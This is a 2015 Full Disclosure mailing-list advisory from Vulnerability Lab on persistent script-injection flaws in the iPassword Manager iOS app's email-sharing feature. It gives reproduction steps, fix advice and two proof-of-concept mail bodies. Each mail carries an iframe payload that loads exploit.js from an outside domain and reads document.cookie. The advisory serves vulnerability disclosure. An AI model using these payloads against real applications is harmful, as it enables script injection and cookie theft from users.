Message-ID: <553760DF.5090209@vulnerability-lab.com>
Date: Wed, 22 Apr 2015 10:50:39 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] iPassword Manager v2.6 iOS - Persistent Vulnerabilities

Document Title:
===============
iPassword Manager v2.6 iOS - Persistent Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1453


Release Date:
=============
2015-04-21


Vulnerability Laboratory ID (VL-ID):
====================================
1455


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
iPassword can securely store your important information and can automatically log you into websites with a single tap. 
There`s no need to remember the usernames, passwords, or even the website addresses. Join to iPassword today. Your digital 
life will be in comfort and safe with it.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/password-manager-free-secure/id547904729 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple persistent input validation vulnerabilities in the official iPassword Free Manager v2.6 iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2015-04-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Free Secure App Manager
Product: iPassword Free Manager - iOS Mobile Web Application 2.6


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple application-side input validation web vulnerabilities has been discovered in the official iPassword v2.6 iOS web-application.
The vulnerability allows local and remote attackers to inject own script code to the application-side of the affected mobile web-application.

The security vulnerability is located in the `password` and `name` values of the send by email function. The service does not encode the input of the password 
or the stored entries. Users are able to send the stored data by mail. The encoding of the send by mail function is broken and allows execution of 
malicious script codes. The attackers saved a database entry with malicious code or exchanges an entry by mail. In the moment he converts the stored 
string of the input, the filter mechanism encodes wring and executes the code. In the second instance the code executes on arrival of the send app mail.
The issue is located in the send password by email function and in the main send by mail function. The attack vector is located on the application-side 
and the request method to inject is db sharing (send email) or by local interaction.

The security risk of the application-side web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.7. 
Exploitation of the persistent web vulnerability requires a privileged ipassword application user account and low user interaction. Successful exploitation 
of the persistent web vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [Sync]

Vulnerable Module(s):
				[+] iPassword - Password Input
				[+] Wallet Entries Input (Name)

Vulnerable Parameter(s):
				[+] password
				[+] name

Affected Module(s):
				[+] Local Mail Service App
				[+] Remote Mail (Outgoing)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local and remote attackers with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1.  Install the iPassword Manager app (https://itunes.apple.com/us/app/password-manager-free-secure/id547904729)
2.  Start the software
Note: Now the software asks a first time for a password
3.  Inject your payload twice to the password input and press ok
Note: Now the software asks to send your password by mail
4.  Click ok to send the data by mail
5.  Now the first script code execution occurs in the mail body context
6.  We continue and surf back in the app to add a new contact
7.  Include to the contact name own script code and save the input
8.  Click the send by mail button.
9.  Review the arrived mail in the inbox
10. The script code execution occurs in the main body context of the mail
11. Successful reproduce of both vulnerabilities!


PoC: Contact > Send Mail

<html>
<head>
<title>Send by Mail Function</title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>Data41</td></tr><tr><td><b>Von: </b>VLab <vulnerabilitylab@...oud.com></td></tr><tr><td><b>Datum: </b>21.04.2015 12:49</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>bkm@...lution-sec.com</td></tr></table><br>
<div class="moz-text-plain"><pre wrap>
"> <iframe src=http://www.evolution-sec.com/exploit.js onload=alert(document.cookie)< [PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]
Von meinem iPhone gesendet
</pre></div></body>
</html>

PoC: iPassword > Send Mail

<html>
<head>
<title>iPassword</title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>iPassword</td></tr><tr><td><b>Von: </b>VLab <vulnerabilitylab@...oud.com></td></tr><tr><td><b>Datum: </b>21.04.2015 13:29</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>bkm@...lution-sec.com</td></tr></table><br>
<div class="moz-text-plain"><pre wrap>
Backup Value: >" "><iframe src=http://www.evolution-sec.com/exploit.js onload=alert(document.cookie)< [PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]
</pre></div></body>
</html>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable password and name input fields.
Restrict the input fields and disallow special chars. Encode the outgoing service value input to prevent persistent local/remote script code injection attacks.
Setup a own filter mechanism with exception-handling to block these type of attacks in outgoing service mails.


Security Risk:
==============
The security risk of the multiple persistent input validation web vulnerabilities are estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...lution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@...nerability-lab.com 	- research@...nerability-lab.com 	       		- admin@...lution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@...nerability-lab.com or research@...nerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@...nerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists